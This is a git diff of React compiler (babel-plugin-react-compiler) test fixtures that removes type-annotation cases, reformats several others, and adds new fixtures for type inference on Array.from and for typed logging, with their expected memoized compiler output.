diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array_.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array_.flow.js
deleted file mode 100644
index fc892f9f64c8..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-array_.flow.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// @flow @enableUseTypeAnnotations
-import { identity, makeArray } from "shared-runtime";
-
-function Component(props: { id: number }) {
-  const x = (makeArray(props.id): Array<number>);
-  const y = x.at(0);
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number.expect.md
deleted file mode 100644
index d3831b980364..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number.expect.md
+++ /dev/null
@@ -1,41 +0,0 @@
-
-## Input
-
-```javascript
-// @enableUseTypeAnnotations
-import { identity } from "shared-runtime";
-
-function Component(props: { id: number }) {
-  const x = identity(props.id);
-  const y = x as number;
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-
-## Code
-
-```javascript
-// @enableUseTypeAnnotations
-import { identity } from "shared-runtime";
-
-function Component(props) {
-  const x = identity(props.id);
-  const y = x as number;
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) 42
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number.ts
deleted file mode 100644
index f22fa8c7caa5..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number.ts
+++ /dev/null
@@ -1,13 +0,0 @@
-// @enableUseTypeAnnotations
-import { identity } from "shared-runtime";
-
-function Component(props: { id: number }) {
-  const x = identity(props.id);
-  const y = x as number;
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number_.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number_.flow.expect.md
deleted file mode 100644
index ae100445077e..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number_.flow.expect.md
+++ /dev/null
@@ -1,40 +0,0 @@
-
-## Input
-
-```javascript
-// @flow @enableUseTypeAnnotations
-import { identity } from "shared-runtime";
-
-function Component(props: {id: number}) {
-  const x = identity(props.id);
-  const y = (x: number);
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{id: 42}],
-};
-
-```
-
-## Code
-
-```javascript
-import { identity } from "shared-runtime";
-
-function Component(props) {
-  const x = identity(props.id);
-  const y = (x: number);
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) 42
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number_.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number_.flow.js
deleted file mode 100644
index 1eb336c60b17..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-as-number_.flow.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// @flow @enableUseTypeAnnotations
-import { identity } from "shared-runtime";
-
-function Component(props: {id: number}) {
-  const x = identity(props.id);
-  const y = (x: number);
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{id: 42}],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array.expect.md
deleted file mode 100644
index 3129dca77e96..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array.expect.md
+++ /dev/null
@@ -1,71 +0,0 @@
-
-## Input
-
-```javascript
-// @enableUseTypeAnnotations
-function Component(props: { id: number }) {
-  const x: number[] = makeArray(props.id);
-  const y = x.at(0);
-  return y;
-}
-
-function makeArray<T>(x: T): Array<T> {
-  return [x];
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableUseTypeAnnotations
-function Component(props) {
-  const $ = _c(4);
-  let t0;
-  if ($[0] !== props.id) {
-    t0 = makeArray(props.id);
-    $[0] = props.id;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  const x = t0;
-  let t1;
-  if ($[2] !== x) {
-    t1 = x.at(0);
-    $[2] = x;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  const y = t1;
-  return y;
-}
-
-function makeArray(x) {
-  const $ = _c(2);
-  let t0;
-  if ($[0] !== x) {
-    t0 = [x];
-    $[0] = x;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  return t0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) 42
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array.ts
deleted file mode 100644
index efc7eb7be0e2..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array.ts
+++ /dev/null
@@ -1,15 +0,0 @@
-// @enableUseTypeAnnotations
-function Component(props: { id: number }) {
-  const x: number[] = makeArray(props.id);
-  const y = x.at(0);
-  return y;
-}
-
-function makeArray<T>(x: T): Array<T> {
-  return [x];
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array_.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array_.flow.expect.md
deleted file mode 100644
index 92c3ffcbcea3..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array_.flow.expect.md
+++ /dev/null
@@ -1,75 +0,0 @@
-
-## Input
-
-```javascript
-// @flow @enableUseTypeAnnotations
-import { identity } from "shared-runtime";
-
-function Component(props: { id: number }) {
-  const x: Array<number> = makeArray(props.id);
-  const y = x.at(0);
-  return y;
-}
-
-function makeArray<T>(x: T): Array<T> {
-  return [x];
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime";
-import { identity } from "shared-runtime";
-
-function Component(props) {
-  const $ = _c(4);
-  let t0;
-  if ($[0] !== props.id) {
-    t0 = makeArray(props.id);
-    $[0] = props.id;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  const x = t0;
-  let t1;
-  if ($[2] !== x) {
-    t1 = x.at(0);
-    $[2] = x;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  const y = t1;
-  return y;
-}
-
-function makeArray(x) {
-  const $ = _c(2);
-  let t0;
-  if ($[0] !== x) {
-    t0 = [x];
-    $[0] = x;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  return t0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) 42
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array_.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array_.flow.js
deleted file mode 100644
index 6651181f715b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-annotations/type-annotation-var-array_.flow.js
+++ /dev/null
@@ -1,17 +0,0 @@
-// @flow @enableUseTypeAnnotations
-import { identity } from "shared-runtime";
-
-function Component(props: { id: number }) {
-  const x: Array<number> = makeArray(props.id);
-  const y = x.at(0);
-  return y;
-}
-
-function makeArray<T>(x: T): Array<T> {
-  return [x];
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ id: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-args-test-binary-operator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-args-test-binary-operator.expect.md
index b86c095c7238..2c702509a24f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-args-test-binary-operator.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-args-test-binary-operator.expect.md
@@ -10,8 +10,8 @@ function component(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-args-test-binary-operator.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-args-test-binary-operator.js
index 95fcc324993d..ad84c9ed457e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-args-test-binary-operator.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-args-test-binary-operator.js
@@ -6,6 +6,6 @@ function component(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-cast-expression.flow.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-cast-expression.flow.expect.md
index b6e7b69f74ea..fb256864d736 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-cast-expression.flow.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-cast-expression.flow.expect.md
@@ -5,16 +5,16 @@
 // @flow
 type Foo = {bar: string};
 function Component(props) {
-    const x = {bar: props.bar};
-    const y = (x: Foo);
-    y.bar = 'hello';
-    const z = (y: Foo);
-    return z;
+  const x = {bar: props.bar};
+  const y = (x: Foo);
+  y.bar = 'hello';
+  const z = (y: Foo);
+  return z;
 }
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-cast-expression.flow.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-cast-expression.flow.js
index fb9b0706e3fd..29f44d4b0d60 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-cast-expression.flow.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-cast-expression.flow.js
@@ -1,14 +1,14 @@
 // @flow
 type Foo = {bar: string};
 function Component(props) {
-    const x = {bar: props.bar};
-    const y = (x: Foo);
-    y.bar = 'hello';
-    const z = (y: Foo);
-    return z;
+  const x = {bar: props.bar};
+  const y = (x: Foo);
+  y.bar = 'hello';
+  const z = (y: Foo);
+  return z;
 }
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-field-load.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-field-load.expect.md
index 354f08b8e113..432016187da7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-field-load.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-field-load.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component() {
-  let x = { t: 1 };
+  let x = {t: 1};
   let p = x.t;
   return p;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-field-load.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-field-load.js
index 2cced2058fbb..67e24e417e3d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-field-load.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-field-load.js
@@ -1,5 +1,5 @@
 function component() {
-  let x = { t: 1 };
+  let x = {t: 1};
   let p = x.t;
   return p;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-inference-array-from.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-inference-array-from.expect.md
new file mode 100644
index 000000000000..ab584c11590b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-inference-array-from.expect.md
@@ -0,0 +1,136 @@
+
+## Input
+
+```javascript
+import {useIdentity, ValidateMemoization} from 'shared-runtime';
+
+/**
+ * Fixture to assert that we can infer the type and effects of an array created
+ * with `Array.from`.
+ */
+function Validate({x, val1, val2}) {
+  'use no memo';
+  return (
+    <>
+      <ValidateMemoization
+        inputs={[val1]}
+        output={x[0]}
+        onlyCheckCompiled={true}
+      />
+      <ValidateMemoization
+        inputs={[val2]}
+        output={x[1]}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+function useFoo({val1, val2}) {
+  'use memo';
+  const x = Array.from([]);
+  useIdentity();
+  x.push([val1]);
+  x.push([val2]);
+  return <Validate x={x} val1={val1} val2={val2} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{val1: 1, val2: 2}],
+  params: [
+    {val1: 1, val2: 2},
+    {val1: 1, val2: 2},
+    {val1: 1, val2: 3},
+    {val1: 4, val2: 2},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useIdentity, ValidateMemoization } from "shared-runtime";
+
+/**
+ * Fixture to assert that we can infer the type and effects of an array created
+ * with `Array.from`.
+ */
+function Validate({ x, val1, val2 }) {
+  "use no memo";
+  return (
+    <>
+      <ValidateMemoization
+        inputs={[val1]}
+        output={x[0]}
+        onlyCheckCompiled={true}
+      />
+
+      <ValidateMemoization
+        inputs={[val2]}
+        output={x[1]}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+function useFoo(t0) {
+  "use memo";
+  const $ = _c(9);
+  const { val1, val2 } = t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = [];
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  const x = Array.from(t1);
+  useIdentity();
+  let t2;
+  if ($[1] !== val1) {
+    t2 = [val1];
+    $[1] = val1;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  x.push(t2);
+  let t3;
+  if ($[3] !== val2) {
+    t3 = [val2];
+    $[3] = val2;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  x.push(t3);
+  let t4;
+  if ($[5] !== val1 || $[6] !== val2 || $[7] !== x) {
+    t4 = <Validate x={x} val1={val1} val2={val2} />;
+    $[5] = val1;
+    $[6] = val2;
+    $[7] = x;
+    $[8] = t4;
+  } else {
+    t4 = $[8];
+  }
+  return t4;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ val1: 1, val2: 2 }],
+  params: [
+    { val1: 1, val2: 2 },
+    { val1: 1, val2: 2 },
+    { val1: 1, val2: 3 },
+    { val1: 4, val2: 2 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[1],"output":[1]}</div><div>{"inputs":[2],"output":[2]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-inference-array-from.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-inference-array-from.js
new file mode 100644
index 000000000000..dfd4e0e0f19a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-inference-array-from.js
@@ -0,0 +1,42 @@
+import {useIdentity, ValidateMemoization} from 'shared-runtime';
+
+/**
+ * Fixture to assert that we can infer the type and effects of an array created
+ * with `Array.from`.
+ */
+function Validate({x, val1, val2}) {
+  'use no memo';
+  return (
+    <>
+      <ValidateMemoization
+        inputs={[val1]}
+        output={x[0]}
+        onlyCheckCompiled={true}
+      />
+      <ValidateMemoization
+        inputs={[val2]}
+        output={x[1]}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+function useFoo({val1, val2}) {
+  'use memo';
+  const x = Array.from([]);
+  useIdentity();
+  x.push([val1]);
+  x.push([val2]);
+  return <Validate x={x} val1={val1} val2={val2} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{val1: 1, val2: 2}],
+  params: [
+    {val1: 1, val2: 2},
+    {val1: 1, val2: 2},
+    {val1: 1, val2: 3},
+    {val1: 4, val2: 2},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log-default-import.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log-default-import.expect.md
new file mode 100644
index 000000000000..dd2eebb606cd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log-default-import.expect.md
@@ -0,0 +1,143 @@
+
+## Input
+
+```javascript
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+import typedLog from 'shared-runtime';
+
+export function Component({a, b}) {
+  const item1 = useMemo(() => ({a}), [a]);
+  const item2 = useMemo(() => ({b}), [b]);
+  typedLog(item1, item2);
+
+  return (
+    <>
+      <ValidateMemoization inputs={[a]} output={item1} />
+      <ValidateMemoization inputs={[b]} output={item2} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 1, b: 2},
+    {a: 2, b: 2},
+    {a: 3, b: 2},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useMemo } from "react";
+import { ValidateMemoization } from "shared-runtime";
+import typedLog from "shared-runtime";
+
+export function Component(t0) {
+  const $ = _c(17);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = { a };
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const item1 = t1;
+  let t2;
+  if ($[2] !== b) {
+    t2 = { b };
+    $[2] = b;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const item2 = t2;
+  typedLog(item1, item2);
+  let t3;
+  if ($[4] !== a) {
+    t3 = [a];
+    $[4] = a;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] !== item1 || $[7] !== t3) {
+    t4 = <ValidateMemoization inputs={t3} output={item1} />;
+    $[6] = item1;
+    $[7] = t3;
+    $[8] = t4;
+  } else {
+    t4 = $[8];
+  }
+  let t5;
+  if ($[9] !== b) {
+    t5 = [b];
+    $[9] = b;
+    $[10] = t5;
+  } else {
+    t5 = $[10];
+  }
+  let t6;
+  if ($[11] !== item2 || $[12] !== t5) {
+    t6 = <ValidateMemoization inputs={t5} output={item2} />;
+    $[11] = item2;
+    $[12] = t5;
+    $[13] = t6;
+  } else {
+    t6 = $[13];
+  }
+  let t7;
+  if ($[14] !== t4 || $[15] !== t6) {
+    t7 = (
+      <>
+        {t4}
+        {t6}
+      </>
+    );
+    $[14] = t4;
+    $[15] = t6;
+    $[16] = t7;
+  } else {
+    t7 = $[16];
+  }
+  return t7;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 1, b: 0 },
+    { a: 1, b: 1 },
+    { a: 1, b: 2 },
+    { a: 2, b: 2 },
+    { a: 3, b: 2 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0],"output":{"a":0}}</div><div>{"inputs":[0],"output":{"b":0}}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[0],"output":{"b":0}}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[1],"output":{"b":1}}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[2],"output":{"b":2}}</div>
+<div>{"inputs":[2],"output":{"a":2}}</div><div>{"inputs":[2],"output":{"b":2}}</div>
+<div>{"inputs":[3],"output":{"a":3}}</div><div>{"inputs":[2],"output":{"b":2}}</div>
+<div>{"inputs":[0],"output":{"a":0}}</div><div>{"inputs":[0],"output":{"b":0}}</div>
+logs: [{ a: 0 },{ b: 0 },{ a: 1 },{ b: 0 },{ a: 1 },{ b: 1 },{ a: 1 },{ b: 2 },{ a: 2 },{ b: 2 },{ a: 3 },{ b: 2 },{ a: 0 },{ b: 0 }]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log-default-import.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log-default-import.tsx
new file mode 100644
index 000000000000..ec5dcf41e004
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log-default-import.tsx
@@ -0,0 +1,30 @@
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+import typedLog from 'shared-runtime';
+
+export function Component({a, b}) {
+  const item1 = useMemo(() => ({a}), [a]);
+  const item2 = useMemo(() => ({b}), [b]);
+  typedLog(item1, item2);
+
+  return (
+    <>
+      <ValidateMemoization inputs={[a]} output={item1} />
+      <ValidateMemoization inputs={[b]} output={item2} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 1, b: 2},
+    {a: 2, b: 2},
+    {a: 3, b: 2},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log.expect.md
new file mode 100644
index 000000000000..ba4c4fe22490
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log.expect.md
@@ -0,0 +1,141 @@
+
+## Input
+
+```javascript
+import {useMemo} from 'react';
+import {typedLog, ValidateMemoization} from 'shared-runtime';
+
+export function Component({a, b}) {
+  const item1 = useMemo(() => ({a}), [a]);
+  const item2 = useMemo(() => ({b}), [b]);
+  typedLog(item1, item2);
+
+  return (
+    <>
+      <ValidateMemoization inputs={[a]} output={item1} />
+      <ValidateMemoization inputs={[b]} output={item2} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 1, b: 2},
+    {a: 2, b: 2},
+    {a: 3, b: 2},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useMemo } from "react";
+import { typedLog, ValidateMemoization } from "shared-runtime";
+
+export function Component(t0) {
+  const $ = _c(17);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = { a };
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const item1 = t1;
+  let t2;
+  if ($[2] !== b) {
+    t2 = { b };
+    $[2] = b;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const item2 = t2;
+  typedLog(item1, item2);
+  let t3;
+  if ($[4] !== a) {
+    t3 = [a];
+    $[4] = a;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] !== item1 || $[7] !== t3) {
+    t4 = <ValidateMemoization inputs={t3} output={item1} />;
+    $[6] = item1;
+    $[7] = t3;
+    $[8] = t4;
+  } else {
+    t4 = $[8];
+  }
+  let t5;
+  if ($[9] !== b) {
+    t5 = [b];
+    $[9] = b;
+    $[10] = t5;
+  } else {
+    t5 = $[10];
+  }
+  let t6;
+  if ($[11] !== item2 || $[12] !== t5) {
+    t6 = <ValidateMemoization inputs={t5} output={item2} />;
+    $[11] = item2;
+    $[12] = t5;
+    $[13] = t6;
+  } else {
+    t6 = $[13];
+  }
+  let t7;
+  if ($[14] !== t4 || $[15] !== t6) {
+    t7 = (
+      <>
+        {t4}
+        {t6}
+      </>
+    );
+    $[14] = t4;
+    $[15] = t6;
+    $[16] = t7;
+  } else {
+    t7 = $[16];
+  }
+  return t7;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 1, b: 0 },
+    { a: 1, b: 1 },
+    { a: 1, b: 2 },
+    { a: 2, b: 2 },
+    { a: 3, b: 2 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0],"output":{"a":0}}</div><div>{"inputs":[0],"output":{"b":0}}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[0],"output":{"b":0}}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[1],"output":{"b":1}}</div>
+<div>{"inputs":[1],"output":{"a":1}}</div><div>{"inputs":[2],"output":{"b":2}}</div>
+<div>{"inputs":[2],"output":{"a":2}}</div><div>{"inputs":[2],"output":{"b":2}}</div>
+<div>{"inputs":[3],"output":{"a":3}}</div><div>{"inputs":[2],"output":{"b":2}}</div>
+<div>{"inputs":[0],"output":{"a":0}}</div><div>{"inputs":[0],"output":{"b":0}}</div>
+logs: [{ a: 0 },{ b: 0 },{ a: 1 },{ b: 0 },{ a: 1 },{ b: 1 },{ a: 1 },{ b: 2 },{ a: 2 },{ b: 2 },{ a: 3 },{ b: 2 },{ a: 0 },{ b: 0 }]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log.tsx
new file mode 100644
index 000000000000..5fb53d9ca85d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-log.tsx
@@ -0,0 +1,29 @@
+import {useMemo} from 'react';
+import {typedLog, ValidateMemoization} from 'shared-runtime';
+
+export function Component({a, b}) {
+  const item1 = useMemo(() => ({a}), [a]);
+  const item2 = useMemo(() => ({b}), [b]);
+  typedLog(item1, item2);
+
+  return (
+    <>
+      <ValidateMemoization inputs={[a]} output={item1} />
+      <ValidateMemoization inputs={[b]} output={item2} />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 1, b: 2},
+    {a: 2, b: 2},
+    {a: 3, b: 2},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture-namespace-import.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture-namespace-import.expect.md
new file mode 100644
index 000000000000..1de8d9a170d2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/type-provider-store-capture-namespace-import.expect.md
